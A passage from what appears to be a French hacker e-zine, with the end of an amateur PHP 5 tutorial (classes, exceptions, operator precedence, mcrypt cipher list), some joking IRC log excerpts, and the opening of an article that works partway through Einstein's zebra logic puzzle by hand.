                return "<p>". $i ."</p>";
        }
}
class xml extends convertir {
        public function getOutput($i) {
                return "<paragraph>". $i ."</paragraph>";
        }
}

class deficiante extends convertir{
        public function gimmeOutputMan($i) {
                return "<%". $i ."%>";
        }

}

$HTMLobj = new html;
echo $HTMLobj->getOutput("yo"); # retourne <p>yo</p>
$XMLobj = new xml;
echo $XMLobj->getOutput("sa"); # retourne <paragraph>sa</paragraph>
$INVALIDobj = new deficiante;
echo $INVALIDobj->gimmeOutputMan("sa"); # devrait retourner un erreur.

# si j'ai bien compris la mme chose serait possible avec les mots "implements"
# et "interface" pour remplacer "extends" et "abstract"

interface class convertir {
        interface function getOutput();
}
class html implements convertir {
        public function getOutput($i) {
                return "<p>". $i ."</p>";
        }
}

# Bon, vous voyez le genre :p Y'a une chose que je n'ai pas vue et je me
# demande si c'est possible.. Si quelqu'un a la rponse, envoyez-moi un mail ;>

class maClasse extends monAutreClass implements monInterface {

}

?>

Il est  imposssile d'instancier  une classe  abstraite, elle  sert seulement de
"rfrence" pour la construction  de classes similaires.. Selon  l'auteur, pour
travailler  de  faon efficace  avec  les objets,  leur  interface doit  rester
similaire  d'une class   l'autres.  Si je  comprends bien,  il faut  seulement
nommer les function de  bases comme ceux pour  les entres/sorties de la  class
avec le mme nom. Les classes abstraites ou interfaces, servent  s'assurer que
les class  qui l'utilisent  rpondent   certaines exigeances.  J'aimerais tre
plus sur  de moi   ce  sujet, mais  l'auteur n'est  pas clair  la-dessus.  Son
exemple  est  ambigue..  Mais  bon,  j'laborerai  peut-tre  un  jours,  quand
j'utiliserai cette feature la.. Si je comprends bien, c'est surtout utile  dans
de  "vraiments"  gros  projets ou  plusieurs  classes  similaires doivent  tre
dvloppes par plusieurs personnes.. Donc  ca peut prendre un moment  avant que
ca me soit vraiment utile :) Mais j'ai l'intention de m'en servir pour au moins
un de mes projets.


Les functions Try, trow et catch

C'est un  principe nouveau  pour moi.  Ce que  j'en comprends  est que c'est un
systme implant dans le but d'aider  grer les erreurs (appeles exeptions) 
l'intrieur d'une  classe, au  lieu d'envoyer  un erreur  au browser.  Je crois
qu'il est important de ne pas  confondre ces fonctions avec le systme  d'error
handling dj implant dans PHP4. Ses fonctions sont utiles dans le cadre d'une
programmation OO. Un exemple vaut toujours 4.02387260077094e+2567 mots :p .. Si
vous programmez java, vous serez familli avec ca.

<?
# La classe Exeptions est une classe interne qui revoit des informations 
# propos de l'exeptions..
class rhume extends Exeptions {
        # Nous devons donner une variable  l'exeption que nous dsirer
        # "attraper" ..
        public $morve;
        
        public function __construct($morve) {
                parent::Exeption();
                $this->morve = $morve;
        }
}
# Essayons d'attrapper un rhume.
$morve = "jaune";
$morve = "vert";
$morve = "bleu";
$morve = "rouge";

# Si je comprends bien, try sert  contenir les exeptions, dans le livre
# l'auteur utilise des if pour dclencher une exeptions, mais je prsume
# que c'est aussi valide avec un switch.. Le contraire serait vraiment stupide.
try {
        switch($morve) {
                case 'bleu':
                throw new rhume("Votre morve est gele.");
                break;
                case 'rouge':
                throw new rhume("Ce n'est pas un rhume c'est le virus du nil.");
                break;
        }
        echo $morve;
}
catch(rhume $exeption) {
        echo "<b>Dsol vous n'avez pas le rhume, car: ". $exeption->morve ."</b><br />";
        echo "<i>Fichier: ". $exeption->file() .", ligne: ". $exeption->line() ."</i>";
}

# Cette partie la semble servir a catcher tout les autre exeptions ne se
# rapportant pas  rhume. La seule utilit que je peux y voir, c'est un
# generic throw catch systeme pour un ensemble de classes. Mais je ne suis
# pas certain de comprendre a 100% ce bout-la.

catch(Exeption $exeption) {
        # autre exeption d'intercept
        echo "<b>Exeption intercepte dans:"</b><br />";
        echo "<i>Fichier: ". $exeption->file() .", ligne: ". $exeption->line() ."</i>";
}

?>


Php supporte une nouvelle mthode pour transformer la nature d'une variable, on
appele ca le typecasting , ou le transtypage en franais .. urk. Grace  a  on
peut transformer une  variable string en  array, ou object  et vice versa..  ca
l'air plus compliqu que ca l'est :p En ralit, ca peut tre assez  pratique..
Surtout pour un peu d'optimisation :>

<?
# typecasting d'un array
$array = array("hello"=>"world","salut"=>"monde");
# en string
$str = (string)$array;  # va retourner Array
# en objet
$obj = (object)$array; # $obj->hello va retourner world
# en entier
$int = (integer)$array(); # va retourner 1

?>


Outro
------

Une chose que je veux eclaircir.. moi et __2 regardant un code php de  northox,
on se demandait pour quelle  raison, apparament illogique, il avait  utilis un
OR  au  lieu d'un  ||  dans une  opration  if ..  La  seule chose  dont  je me
rappellait c'etait  que les  deux taient  valides, mais  n'avaient pas la mme
priorit. J'ai trouv  l'explication plus tard  dans mon livre.  Voii un petit
tableau des priorits, lequel est utilis par le Zend Engine pour dterminer la
priorit des oprations (exactement comme un math .. 2 + 2 * 4 = 10). Et  bien
y  penser c'est  logique, l'engine  doit savoir  dans quelle  priorit il  doit
excuter   les   instructions,   au   primaire   on   nous   montre   que    la
multiplication/division on priorit sur l'addition/soustraction, pour  d'autres
oprations c'est moin vident.. 


Les oprateurs et leur priorit..
------------------------------------
______________________________________________________________________________
| Priorit      Oprateur               Opration              Associativit  |
-----------------------------------------------------------------------------
| 1             !                       NON logique                    Droite |
| 1             ~                       NON binaire                           |
| 1             ++                      Incrmentation                        |
| 1             --                      Dcrmentation                        |
| 1             @                       Oprateur de silence                  |
| 1             (int)                   Transtypage* vers entier              |
| 1             (float)                 Transtypage* vers flottant            |
| 1             (string)                Transtypage* vers chaine              |
| 1             (bool)                  Boolean cast                          |
| 1             (array)                 Array cast                            |
| 1             (object)                Object cast                           |
-----------------------------------------------------------------------------
| 2             *                       Multiplication                 Gauche |
| 2             /                       Division                              |
| 2             %                       Modulo                                |
-----------------------------------------------------------------------------
| 3             +                       Addition                       Gauche |
| 3             -                       Soustraction                          |
| 3             .                       Concatnation                         |
-----------------------------------------------------------------------------
| 4             >>                      Dcalage binaire  droite      Gauche |
| 4             <<                      Dcalage binaire  gauche             |
-----------------------------------------------------------------------------
| 5             <                       Plus petit                      N/A** |
| 5             <=                      Plus petit ou gale                   |
| 5             >                       Plus grand                            |
| 5             =>                      Plus grand ou gal                    |
-----------------------------------------------------------------------------
| 6             ==                      gal                           Gauche |
| 6             !=                      n'est pas gal                        |
| 6             ===                     identique                             |
| 6             !==                     non identique                         |
-----------------------------------------------------------------------------
| 7             &&                      ET logique                     Gauche |
-----------------------------------------------------------------------------
| 8             ||                      OU logique                     Gauche |
-----------------------------------------------------------------------------
| 9             ? :                     valuation conditionnelle      Gauche |
-----------------------------------------------------------------------------
| 10            =                       Affectation de valeur          Droite |
| 10            =&                      Affectation d'addresse                |
| 10            +=                      Addition/affectation                  |       
| 10            -=                      Soustractio/affectation               |               
| 10            *=                      Multiplication/affectation            |
| 10            /=                      Division/affectation                  |
| 10            %=                      Modulo/affectation                    |
| 10            ^=                      XOR/affectation                       |
| 10            &=                      ET/affectation                        |
| 10            |=                      ET/affectation                        |
| 10            .=                      Concatnation/affectation             |                                       
-----------------------------------------------------------------------------
| 11            AND                     Et logique                     Gauche |
-----------------------------------------------------------------------------
| 12            XOR                     XOR logique                    Gauche |
-----------------------------------------------------------------------------
| 13            OR                      OU logique                     Gauche |
-----------------------------------------------------------------------------
|  * typecasting en anglais..                                                 |
| ** Non Associatif                                                           |
-----------------------------------------------------------------------------
(Il y a une erreur  la page 50, l'auteur utilise "|||" au lieu de "||" dans
la colone des oprateurs pour exprimer un "OU" logique :> )


une chose m' marquer.. le nombre d'encryptations supports par php :)

  ______________________________________________________________________________________________________
 | Argument                                     Description                                             |
 ------------------------------------------------------------------------------------------------------
 |      MCRYPT_3DES                             Triple-DES                                              |
 |      MCRYPT_ARCFOUR                          RC4                                                     |
 |      MCRYPT_ARCFOUR_IV                       RC4 avec vecteur d'initialisation                       |
 |      MCRYPT_BLOWFISH                         Blowfish                                                |
 |      MCRYPT_CAST_128                         CAST avec la cls 128bits                               |
 |      MCRYPT_CAST_256                         CAST avec la cls 256bits                               |
 |      MCRYPT_CRYPT                            Codage standard de crypt() (standard DES)               |
 |      MCRYPT_DES                              DES                                                     |
 |      MCRYPT_GOST                             GOST (algorythme de cryptage sovitique.. dah)          |
 |      MCRYPT_IDEA                             IDEA (International Data Encryptation Algorythme)       |
 |      MCRYPT_LOKI97                           LOKI97 (128bits)                                        |
 |      MCRYPT_MARS                             Chiffrement MARS d'IBM                                  |
 |      MCRYPT_PANAMA                           Panama                                                  |
 |      MCRYPT_RC2                              RC2                                                     |
 |      MCRYPT_RC6                              RC6                                                     |
 |      MCRYPT_RIJNDAEL_128                     Rijndael 128bits                                        |
 |      MCRYPT_RIJNDAEL_192                     Rijndael 192bits                                        |
 |      MCRYPT_RIJNDAEL_256                     Rijndael 256bits                                        |
 |      MCRYPT_SAFERPLUS                        Secure And Fast Encryption Routine + (?bits)            |
 |      MCRYPT_SAFER64                          Secure And Fast Encryption Routine (64bits)             |
 |      MCRYPT_SAFER128                         Secure And Fast Encryption Routine (128bits)            |
 |      MCRYPT_SERPENT                          Serpent                                                 |
 |      MCRYPT_SKIPJACK                         Skipjack (chiffrement du circuit Clipper .. no idea)    |
 |      MCRYPT_THREEWAY                         3-Way                                                   |
 |      MCRYPT_TRIPLEDES                        Triple-DES (Surement un alias de _3DES ..)              |
 |      MCRYPT_TWOFISH                          Twofish                                                 |
 |      MCRYPT_WAKE                             WAKE                                                    |
 |      MCRYPT_XTEA                             xTEA, extension de Tiny Encryption Algorythm            |
 |_____________________________________________________________________________________________________/
 | Mode de cryptage                                                                                     |
 ------------------------------------------------------------------------------------------------------
 |      MCRYPT_MODE_ECB                         Elictronic codebook                                     |
 |      MCRYPT_MODE_CBC                         Cipher block chaining                                   |
 |      MCRYPT_MODE_CFB                         Cipher feedback                                         |
 |      MCRYPT_MODE_OFB                         Output feedback, 8-bit                                  |
 |      MCRYPT_MODE_NOFB                        Output feedback, variable block size                    |
 |      MCRYPT_MODE_STREAM                      Elictronic codebook                                     |
 |      MCRYPT_MODE_STREAM                      Stram                                                   |
 ------------------------------------------------------------------------------------------------------

C'est  pas  mal tout  le  temps que  j'avais..  j'aurais aim  couvrir  plus de
nouveaut, mais  bon, je  vais laisser  de la  place   une ventuelle suite :)
J'espre que ca vous a aider  comprendre les pincipales diffrences entre php4
et 5.

Quelques lments que je  n'ai pas abords et  que je risque d'aborder  dans un
prochain article. Si vous avez des  demandes spciales, je vais voir ce  que je
peux faire.
  - static & dynamic bindings
  - overloading
  - object srialisation
  - namespaces
 


.----------------------------------------------- - - --- - ---
| h3   [h3 at mindkind dot org]  www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -



  < Mindkind various tales from IRC >

  <Mouton> Veux tu du pote
  <HolyGod> sa dpend
  <HolyGod> vends-tu au policier?
  * Mouton (~y.marchan@122-66-136.al.cgocable.ca) Quit (Read error: EOF from client)

  [01:08] <__2> hey cest insipide a vouloir se tuer EPIC 
  [01:08] <g463> c quoi ca veut dire ca insipide
  [01:08] <__2> vide de tout interet
  [01:09] <__2> vu que jsais pas trop comment faire du multichan jsuis pogner icitte
  [01:09] <__2> pis ca parle de constitution, d'anti-etablishment, de visio pis de dick

  [13:16] <g463> ya hacker la grc y sont venu avec des guns chez eux ya perdu une main dans l'enlevement 
  [13:16] <g463> et la y peut pus taper
  [13:16] <g463> sur son compu
  [13:16] <g463> ye rendu avec un faux bras lectronique

  [21:55] <blk_ice> faque ca va etre le retour au bon vieux pr0n :)
  [21:55] <lastcall_> haha
  [21:55] <lastcall_> PR0N
  [21:55] <lastcall_> la seule chose qui te laisse pas tomber
  [21:55] <lastcall_> hahaha
  [21:55] <blk_ice> hahahhaha

  [22:52] <phawnky> L'humain  a beaucoup de  choses a apprendre  de mere nature,
                    toute la critique, pis a sens calisse depuis des millenaire,
                    et y pleu encore esti.

  < ----------------------- >




    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__

|           mkd.09  Einstein et les 5 nains
:                              aka 'l'enigme'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |

-----------------IMPORTANT--------------------------------------------
REMARQUE: VOUS  TROUVEREZ  ICI  LA   PREMIERE  PARTIE  DE   L'ARTICLE
          (CELLE DE LA RESOLUTION MANUELLE)  ET LA PROCHAIN  DANS  LE
          NUMERO 110 DE MINDKIND, MERCI DE VOTRE PATIENTE  ;)
----------------Fin de la chose importante----------------------------



Disclamer:
Je  suis  et  le publicateur de  ce document  non-responsable  dans tout cas de 
endommagement de votre cerveau ( cas  courrament  appel Brain Damage) ou autre 
organe de votre corp . merci de votre comprhension             


      .-----------.    .------------.    |\
      | J'accepte |    | Je refuse  |    |_\
      '-----------'    '------------'     \\   <--c'est un pointeur 
                                                   de souris

                                                   
Remarque:                                        
Dsactiver l'option  des wrap by  caracters, page et Window  avant de commencer 
a  lire  l'article, (  le wrap est le  saut  de  lignes automatiques), vous  la  
trouverez  normalement dans le menu affichage Cet article a t cris dans  une 
rsolution de 800*600 . Cet article est  sponsoris par Marlboro, Dunhill, Pall 
Mall,  Danone  Whinfield,  Rothmanns ,Lipton et La  Maison  Blanche . (ils sont
tous des marques deposs) 

                                                                                              
                                                XXXxx,,_      _,,xxXXX                        
                                                XXXXXXXXXXXXXXXXXXXXXX                        
 XXXXXXXXXXX     ##                                      XXXX                                 
XXXXXXXXXXXXX                                  XXX       XXXX    XXXXXXXX        XXX    XXXX  
XXX             XXXX    XXXX     XXXXX      XXXXXXXXX    XXXX   XXXXXXXXXX XXXXX XXX   XXXXX  
 XXX            XXXX    XXXX    XXXXXX    XXXXX          XXXX    XXX        XXX  XXX  XX XXX  
  XXXX          XXXX    XXXX  XXXX XXX      XXXXXX       XXXX     XXX       XXX  XXX XX  XXX  
 XXX            XXXX    XXXX XXXX  XXX         XXXXXX    XXXX    XXX        XXX  XXXX    XXX  
XXX             XXXX    XXXXXX     XXX          XXXX     XXXX   XXXXXXXXXX  XXX               
 XXXXXXXXXXX    XXXX    XXXX       XXX    XXXXXXXXX      XXXX    XXXXXXXX   XXX               
  XXXXXXXX                                                                 XXXXX              
                                                                                              
                                                                                              
                  XXXXXXXXXXXX                                                                
                  XXXXXXXXXXXX                                                                
                  XXXX        XXxx,,_,,xxXX                                                   
                  XXXXXXXX    XXXXXXXXXXXXX                                                   
                  XXXX             XXX                                                        
                  XXXXXXXXXXXX     XXX                                                        
                  XXXXXXXXXXXX     XXX                                                        
                                   XXX                                                        
                                  xXXXx                                                       
                                                                                              
                                                                                              
   XX     XXXXX XXXXXX     ' c3c1555 '     XXX   XX    XXXXX   XXXX  XXX   XX  SSSSSS         
   XX     X     X            35t           XX X  XX   XX   XX   XX   XX X  XX  SS (fumeurs ?) 
   XX     XXX   XXXXXX          un5        XX  X XX   XXXXXXX   XX   XX  X XX  SSSSSS         
   XX     X          X           55        XX   XXX   XX   XX   XX   XX   XXX      SS         
   XXXXXX XXXXX XXXXXX     c1nq555         XX    XX   XX   XX  XXXX  XX    XX  SSSSSS         
                                                                                              
                                                                  Paint By <SeriousMan>       
                                                                  Rq:Essayez de trouver       
                                                                  les messages stenatographier
                                                                  dans l'article              
                                                                                              
                                                                                              
                                                                                              
                                                                                              
1-trop-d'uccion:                                                                              
                                                                                              
Exit  light                                                                                   
Enter night
Take my hand
We're off to the MindkindLand

Lyrics de:
__Mindallica, Enter KindLand
=====================================================================
Bonsoir, 
->ici<- commence le reste de votre vie,
mais sera t'il comme le precedant ?
verrez-vous les choses comme avant ?
entendrez-vous les sons de la mme maniere qu'avant ?
senterez-vous les odeurs comme avant ?
d'abord, ce reste existera t'il ?
mais tout ceci n'a aucune valeur,
parceque VOUS, N'AVEZ AUCUNE VALEUR,
regarder vous en mirroir...
examiner...
reflechisser...
oui...
c'est ca...
vous le savez maintenant...
vous l'admettez...
VOUS N'ETES RIEN...
mais, vous pouvez changer cela...
vous pouvez revolutioner tout...
vous pouvez devenir celui...
vous pouvez cassez le rythme..
vous le savez...
vous y croyez....
suffit juste de reflechir...
de reflechir un peu...
un ptit peu...
puis agir...
pour revolutioner le tout...
pour devenir le meilleur...
===============================================================================
Be the best , or die with the rest
===============================================================================
oups  mon  chat  jouer  avec  le  clavier  ;) dsl pour ce derangement (ca ne se 
reproduirai pas , je vous l'assure), il est fou ce chat!!!!!!!!!!!

rrrrrhh....bon , de koi allons nous parlez dans les prochaines lignes  et  bah, 
c'est une idee qui m'est venue un matin , dans la station de vroum..vroum, oups 
de bus,j'etait en train de parler avec quelque amis au  sujet  des enigmes &co, 
puis un gars a parler d'une enigme  faite par  le  plus  intelligent des hommes 
au monde(ce sont ces mots) einstein ou  il prtendait que 98 % de la population 
mondiale  tait  incapable  de  totalement resoudre ce problme , et plop , une  
ide venez de natre in my mind , est ce qu'on pourrez faire du code qui resous 
une enigme ou plus precisement  cette  enigme , l'enigme d'einstein et les cinq
nains (c'est moi qui la nomme ainsi :).

Premierement lisons le texte de l'enigme:

==========================================
1) Soient cinq maisons de couleurs diffrentes
2) Chaque maison est habite par une personne de nationalit diffrente
3) Chaque habitant a une boisson prfre, une marque de   cigarettes
   prfre, et possde un animal de compagnie prfr
4) Aucune des cinq personnes na une chose en commun

QUESTION : Laquelle de ces personnes possde un poisson ?
Indices :
- LAnglais vit dans la maison rouge
- Le Sudois a un chien
- Le Danois boit du th
- La maison verte est situe  gauche de la maison blanche
- Le propritaire de la maison verte boit du caf
- Le fumeur de Pall Mall a un oiseau
- Le propritaire de la maison du milieu boit du lait
- Le propritaire de la maison jaune fume des Dunhill
- Le Norvgien habite dans la premire maison
- Le fumeur de Marlboro habite  ct de celui qui a un chat
- Celui qui a un cheval habite  ct du fumeur de Dunhill
- Le fumeur de Whinfield boit de la bire
- Le Norvgien habite  ct de la maison bleue
- LAllemand fume des Rothmanns
- Le fumeur de Marlboro a un voisin qui boit de leau.

Einstein, qui a conu cette nigme au sicle dernier , prtendait que 98% de la 
population mondiale tait incapable de rsoudre ce problme.
==========================================

pas facile,non ;)


Bon maintenant voici comment on va proceder : 
-Une premire partie ou on essayera de resoudre l'enigme manuellement
-Une  deuxieme  partie  ou  on  essayera  de  faire  un  script  en php pour la 
 resolution de l'enigme (j'utilisera le php parceque :
 1/c'est  un language facile a apprendre et plus  facile a comprendre
 2/j'ai fait un ptit tutorial sur ce language et sa serai une   bonne  ide  de 
   continuer ici )


Rq: Vous avez ptet remarquer les 'essayera' dans mes phrases , c'est simplement  
    parce que je n'ai toujours pas commence ni la resolution  de l'enigme ni la 
    programmation du resolutionneur , donc il  sera  tres  propable  que  je ne 
    reussice l'un des deux (mais normalement si vous lisez ces lignes c'est que 
    j'ai reussi ;)

REMARQUE: VOUS  TROUVEREZ  ICI  LA   PREMIERE  PARTIE  DE   L'ARTICLE (CELLE DE 
          LA RESOLUTION MANUELLE)  ET  LA  PROCHAIN   DANS  LE  NUMERO  110  DE 
          MINDKIND, MERCI DE VOTRE PATIENTE  ;)
          
          
Bonne lecture

ps:  c'etait peu-etre  facile pour la revolution mais ca ne serez pas  pour les 
suivantes , car eux  ils  n'existeront pas , pour des  raisons  de  materielles 
(linguistiques ;)


   111111        ////                    ######
 11111111       ////                     ######
1111 1111      ////                      ######
     1111     //// La Methode Manuelle 
     1111    ////                        ######
   11111111 ////                         ######
   11111111////                          ######


A-Preparation:

Bon, pour preparer ce qu'il vs faut c'est :
-une copie imprimer de l'enigme
-plain de feuilles
-un brain
-un stylo encre
-une zic en arriere plan (cd pas de pantra, marilyn&co) mais   plutot  musique 
 classic (si vous aimer) , ou autre mais de  preference  sans  parole( pour mon 
 cas j'ai fait une  ptite playlist  avec  les  quelques  songs  instrumental de 
 Metallica ( The call of ktulu , Anasthesia et  orion  pour  ne pas les nomms) 
 quelques unes de evanescence ,de  Muse de michelle  branch  et  de  cranberies
 (quelque Red Hot Chili Peppers ne font pas de mal ;) .
 (conclusion: playlist depasses mais peu faire l'affaire)


ca y'est il ne reste qu'a commenc :)

B-Comment j'ai fait:


Bon au  commencement ce  que j'ai fait c'est  chercher  les noms  des  animaux, 
cigarettes, boissons et couleurs de maison ,voici la liste :

Couleurs:     blanc, vert, rouge, bleu et jaune
Cigarettes:   Marlboro, Whinfield, Rothmanns, Pall Mall et Dunhill
Boissons:     eau, lait, caf, bierre et th
Nationalits: Danois, Sudois, Allemend, Anglais et Norvgien



puis j'ai dessiner un shema comme ceci :

+------------+ +------------+ +------------+ +------------+ +------------+
|  couleur   | |  couleur   | |  couleur   | |  couleur   | |  couleur   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  propriter    propriter      propriter     propriter     propriter
  boisson       boisson         boisson        boisson        boisson
  cigarette     cigarette       cigarette      cigarette      cigarette
  animal        animal          animal         animal         animal



bon pour commencer on a :

"Le Norvgien habite dans la premire maison" et "Le Norvgien habite  ct de 
la maison bleue" et comme la premier maison n'a  qu'un seul  voisin (celui a ca 
droite) donc le dessin sera comme ca :

+------------+ +------------+ +------------+ +------------+ +------------+
|  *******   | |  bleu      | |  *******   | |  *******   | |  *******   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvgien      *******        *******        *******        *******
  *******        *******        *******        *******        *******
  *******        *******        *******        *******        *******
  *******        *******        *******        *******        *******


en suite on a : 
"Le propritaire de la maison verte boit du caf "et  "Le  propritaire  de  la 
maison du milieu boit du lait" ==>[la maison verte n'est pas au milieu]

puis on a le fameux: "La maison verte est situe  gauche de la maison blanche"

        +------------+ +------------+ 
  ...   |  vert      | |  blanche   |   ...
        |            | |            | 
        +------------+ +------------+ 
          gauche <---   ---> droite

et comme la maison verte :
- ne peut pas tre la premire car celle de sa droite est bleu
- ne peut pas tre la 2eme parce que elle est bleu :)
- ne  peut  pas  tre  la  3eme  parce  que  celui de celle la boit du lait  au 
  contraire de celui de la verte qui prfre le caf)
- ne peut pas tre la 5eme car elle n'aura pas un voisin de droite  et donc pas 
  de Blanchette a a droite

==> [elle est la 4eme maison]
==> [la maison blanche est la 5eme]

voyons a quoi ressemble notre dessin aprs ses dcouvertes :


+------------+ +------------+ +------------+ +------------+ +------------+
|  *******   | |  bleu      | |  *******   | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvgien      *******        *******        *******        *******
  *******        *******        lait           caf           *******
  *******        *******        *******        *******        *******
  *******        *******        *******        *******        *******


Reste  plus  que  trouv  la  place de la maison rouge et la jaune ,ici il faut
rflchir un peu ;) , mais en fin on  trouve que  c'est  pas  si difficile,  on 
avait deux choix :


+------------+ +------------+ +------------+ +------------+ +------------+
|  Rouge     | |  bleu      | |  Jaune     | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvgien      *******        *******        *******        *******
  *******        *******        lait           caf           *******
  *******        *******        *******        *******        *******
  *******        *******        *******        *******        *******

ce qui est impossible car :
-"LAnglais vit dans la maison rouge"

donc la bonne rponse est celle la :

+------------+ +------------+ +------------+ +------------+ +------------+
|  Jaune     | |  bleu      | |  rouge     | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvgien      *******        Anglais        *******        *******
  *******        *******        lait           caf           *******
  *******        *******        *******        *******        *******
  *******        *******        *******        *******        *******

bon pour faciliter notre tache en barre les indices qui ne serve  plus et c'est 
a ce qui nous reste :

- Le Sudois a un chien.
- Le Danois boit du th.
- Le fumeur de Pall Mall a un oiseau.
- Le propritaire de la maison jaune fume des Dunhill
- Le fumeur de Marlboro habite  ct de celui qui a un chat.
- Celui qui a un cheval habite  ct du fumeur de Dunhill
- Le fumeur de Whinfield boit de la bire.
- LAllemand fume des Rothmanns.
- Le fumeur de Marlboro a un voisin qui boit de leau.

premire raction : " Le  propritaire  de la maison jaune  fume  des  Dunhill" 
et"Celui qui a un cheval habite  ct du fumeur de Dunhill"
==>[ le Norvgien fume du Dunhill ] et  [son seul voisin (celui  de  la  maison 
bleu) a un cheval].

donc a devient comme a :

+------------+ +------------+ +------------+ +------------+ +------------+
|  Jaune     | |  bleu      | |  rouge     | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvgien      *******        Anglais        *******        *******
  *******        *******        lait           caf           *******
  Dunhill        *******        *******        *******        *******
  *******        cheval         *******        *******        *******


now, c la partie plus difficile de l'nigme :
premire chose , on rvise nos donns :

- Le Sudois a un chien.
- Le Danois boit du th.
- Le fumeur de Pall Mall a un oiseau.
- Le fumeur de Marlboro habite  ct de celui qui a un chat.
- Le fumeur de Whinfield boit de la bire.
- LAllemand fume des Rothmanns.
- Le fumeur de Marlboro a un voisin qui boit de leau.

l'ide principale ici , c'est l'exclusion :
pour avoir des informations sur  une personne ou une chose  on  exclu les faits 
impossibles , si on a 4 faits  impossible pour une personne  donc  la  5eme est 
vrai , par exemple (non-reel):
- on cherche dans les indices et on trouve que monsieur l'anglais  ne  boit  ni 
  la bire, ni l'eau , ni le caf , ni le lait donc on conclu qu'il boit du th 
  (J'INSISTE QUE CE N'EST PAS VRAI , CE N'EST QU'UN EXAMPLE)

j'ai commence par avoir des infos sur l'allemand :
comme il fume de Rothmanns il n'a pas de oiseau ni un chien non plus (celui qui 
l'a est le sudois) , il ne boit pas de bire ("Le fumeur  de Whinfield boit de 
la bire"), ni du lait ( c'est l'anglais qui le boit) 

----
:( dception ): 
----

mais  bon  on n 'a  que  chercher  ailleurs , par  exemple chez le danois et le 
sudois :)

pour le Danois c'est ce que j'ai trouver :
(le rsultat est de la forme "cause=>rsultat")
-"LAllemand fume des Rothmanns"=> ne fume pas de Rothmanns.
-"Le Danois boit du th"&&"Le fumeur de Whinfield boit de la bire"=>
 [ne fume pas de Whinfield.]
-[le Norvgien fume du Dunhill]=> ne fume pas du Dunhill.

et pour le sudois:
-"LAllemand fume des Rothmanns"=> ne fume pas de Rothmanns.
-[le Norvgien fume du Dunhill]=> ne fume pas du Dunhill.
-"Le Sudois a un chien"&&"Le fumeur de Pall Mall a un oiseau" ==> ne
 fume pas de Pall Mall



comme  vous voyez, tout les deux (le Sudois et le Danois) ne fume pas 3 marque 
de cigarettes , donc il reste juste de nier qu'un d'eux fume  un  autre  marque 
pour qu'on dcouvre ce qu'il fume vraiment :) mais ici on a deux problmes :

1/Laquelle ?
2/Comment ?

les Rponses sont :
1/Marlboro , oui Marlboro ,vous vous demandez pourquoi?, ba simplement  car  un, 
  on a deux  indices  qui parle  de Marlboro , deux Marlboro c'est pas bien pour 
  la sant et en  plus c'est pour les gars dans les Western pas pour les Sudois 
  ni des mangeurs de Danettes :)

2/Comment ? , bonne question :) 

on  voit  vite  que  c'est pas un "easy job" car aucune des deux indices sur le 
Marlboro , n'est directe ,c'est a dire que les 2 sont relative  par rapport des 
voisins , mais voyons ses deux la:

- Le fumeur de Marlboro habite  ct de celui qui a un chat.
- Le fumeur de Marlboro a un voisin qui boit de leau.

donc pour montrer que le Danois ou le Sudois ne fume pas du  Hashish oups!! du 
Marlboro  il  faut  montrer  qu'ils  n'ont  pas  de  voisin  buveur de l'eau ou 
zoophile (qui le font avec les chat)

bon,  aprs  un  ptit  essaie  pour  le  Danois on voit qu'il est impossible de
montrer ceci , donc on saute vers le sudois ('vers'  pas  'sur', et  oui, chez 
nous y'a pas d'homo  ( ma connaissance :) ) 

Premire chose a faire c'est de voir ou peut le Sudois s'installer : (je  sais 
que le shema vous manque)


                           (1)ici__       ou                 (2)ici
                                   )                             |
                                   |                             |
                                   \                             |
                                     \                           |
                                       \                         |
                                         \_______,               |
                                                 |               |
                                                 |               |
                                                \|/             \|/
                                                 *               *     
+------------+ +------------+ +------------+ +------------+ +------------+
|  Jaune     | |  bleu      | |  rouge     | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvgien      *******        Anglais        *******        *******
  *******        *******        lait           caf           *******
  Dunhill        *******        *******        *******        *******
  *******        cheval         *******        *******        *******

(Rq pour ceux qui n'ont pas compris pk, le sudois ne peut s'installer dans  la 
premire ou 3eme maison car elle sont dj pris,et il ne peut  pas  s'installer 
dans la deuxime car il a un chien) (Rq2: le (1) et le (2) devant le ici , sont 
pour me comprendre  quand je dis premire proposition et deuxime , capitchi ?)

bon commencent par la deuxime proposition: 
ba  si  monsieur  le  sudois  s'installe dans la  maison blanche  il ne pourra 
pas fumer du Marlboro car son  seul voisin ( ma maison verte )  boit  du   caf 
(et donc pas d'eau) ce qui est contre cet indices : "Le  fumeur  de  Marlboro a 
un voisin qui boit de leau"


donc on exclu  cette  proposition et  on passe  a la premire (pas de  sauterie 
SVP) , ici on a aussi deux choix :
1/(rq: c qu'une supposition)

+------------+ +------------+ +------------+ +------------+ +------------+
|  Jaune     | |  bleu      | |  rouge     | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvgien      Danois         Anglais        sudois        Allemand
  *******        th            lait           caf           *******
  Dunhill        *******        *******        Marlboro       Rothmanns
  *******        cheval         *******        chien          *******


comme le sudois aime les Marlboro ,il faut qu'un des  voisins  a un chat et un 
autre (ou le mme) boit de l'eau , analysons:
-[l'anglais (1er voisin) boit du lait]=>faudra que l'allemand boit de l'eau
-{l'allemand boit de l'eau}&&{sudois boit caf}&&{Anglais boit lait} &&{Danois 
 th}===>La bire reste au Norvgien.


                .--==FATAL ERROR ,SYSTEM HALTED==--.
